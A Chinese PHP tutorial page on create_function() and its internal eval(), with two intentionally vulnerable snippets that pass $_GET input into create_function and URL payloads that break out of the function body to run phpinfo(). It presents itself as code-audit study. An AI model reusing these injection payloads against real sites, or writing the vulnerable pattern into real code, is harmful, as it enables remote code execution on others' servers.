PHP create_function()函數(shù)應(yīng)用實(shí)例詳解
前言
一直遇到過(guò)這個(gè) 函數(shù),但是不知道怎么利用 這回學(xué)習(xí)一下這個(gè)函數(shù)
create_function()簡(jiǎn)介
適用 PHP4>4.0.1 PHP 5 PHP7
語(yǔ)法:
create_function(string $args, string $code)
string $args 聲明的函數(shù)變量部分
string $code 執(zhí)行的方法代碼部分
函數(shù)功能
<?php $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); echo "New anonymous function: $newfunc\n"; echo $newfunc(2, M_E) . "\n"; ?>
分析:
create_function() 會(huì)創(chuàng)造一個(gè)匿名函數(shù) (lambda樣式) 此處創(chuàng)建了一個(gè)叫 lamvda_1 的函數(shù), 在第一個(gè) echo 中 顯示名字, 并在第二個(gè)echo 語(yǔ)句中執(zhí)行了 此函數(shù)。
create_function() 函數(shù) 會(huì)在內(nèi)部 執(zhí)行 eval() , 我們發(fā)現(xiàn)是執(zhí)行了 后面的 return 語(yǔ)句,屬于create_function() 中的第二個(gè)參數(shù) string $code 的位置
因此,上述匿名函數(shù)的創(chuàng)建與執(zhí)行過(guò)程等價(jià)于:
<?php function lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b); } ?>
create_function( ) 函數(shù)在代碼審計(jì)中,主要用來(lái)查找項(xiàng)目中的代碼注入和回調(diào)后門的情況,熟悉了執(zhí)行流程, 可以實(shí)現(xiàn)對(duì)代碼注入的 payload 構(gòu)造,從而 進(jìn)行漏洞挖掘和找出存在缺陷
代碼注入實(shí)例
0x01
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function)); ?>
payload:
http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*
還原實(shí)際的組合過(guò)程:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
匿名函數(shù)實(shí)際的執(zhí)行:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* }
$sort_by 是我們傳入的值。
回車換行整理一下:
function niming($a,$b){ return 1 * ' . $sorter . '($a["' . $sort_by '"]); } phpinfo();/* }
0x02
<?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array); ?>
payload:
http://localhost/test2.php?c=1));}phpinfo();/*
還原實(shí)際的組合過(guò)程:
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函數(shù)實(shí)際的執(zhí)行:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }
換行整理:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); }
到此這篇關(guān)于PHP create_function()函數(shù)應(yīng)用實(shí)例詳解的文章就介紹到這了,更多相關(guān)PHP create_function()函數(shù)內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
對(duì)PHP PDO的一些認(rèn)識(shí)小結(jié)
這篇文章主要介紹了對(duì)PHP PDO的一些認(rèn)識(shí)小結(jié),本文講解了什么是PDO、啟用PDO的配置方法、PDO的預(yù)定義類、事務(wù)處理例子等內(nèi)容,需要的朋友可以參考下2015-01-01php使用CURL不依賴COOKIEJAR獲取COOKIE的方法
這篇文章主要介紹了php使用CURL不依賴COOKIEJAR獲取COOKIE的方法,實(shí)例分析了curl操作cookie的技巧,需要的朋友可以參考下2015-06-06php數(shù)組分頁(yè)實(shí)現(xiàn)方法
這篇文章主要介紹了php數(shù)組分頁(yè)實(shí)現(xiàn)方法,涉及php數(shù)組操作、數(shù)學(xué)運(yùn)算及字符串操作等相關(guān)技巧,需要的朋友可以參考下2016-04-04php 靜態(tài)頁(yè)面中顯示動(dòng)態(tài)內(nèi)容
靜態(tài)頁(yè)面中顯示動(dòng)態(tài)內(nèi)容,一些網(wǎng)站的qq在線狀態(tài),還有購(gòu)物車用的是這個(gè)方法2009-08-08php函數(shù)連續(xù)調(diào)用實(shí)例分析
這篇文章主要介紹了php函數(shù)連續(xù)調(diào)用的方法,以簡(jiǎn)單實(shí)例形式分析了php采用鏈?zhǔn)秸{(diào)用的方式連續(xù)調(diào)用函數(shù)的使用技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-07-07php與XML、XSLT、Mysql的結(jié)合運(yùn)用實(shí)現(xiàn)代碼
php與XML、XSLT、Mysql的結(jié)合運(yùn)用實(shí)現(xiàn)代碼,需要的朋友可以參考下。2009-11-11php實(shí)現(xiàn)最簡(jiǎn)單的MVC框架實(shí)例教程
這篇文章主要介紹了php實(shí)現(xiàn)最簡(jiǎn)單的MVC框架實(shí)例教程,講述了MVC框架的運(yùn)行原理及簡(jiǎn)單實(shí)現(xiàn)方法,具有不錯(cuò)的參考借鑒價(jià)值,需要的朋友可以參考下2014-09-09PHP常用工具函數(shù)小結(jié)【移除XSS攻擊、UTF8與GBK編碼轉(zhuǎn)換等】
這篇文章主要介紹了PHP常用工具函數(shù),結(jié)合實(shí)例形式總結(jié)分析了php移除XSS攻擊、以及php操作UTF8與GBK編碼轉(zhuǎn)換等相關(guān)操作自定義函數(shù)實(shí)現(xiàn)方法,需要的朋友可以參考下2019-04-04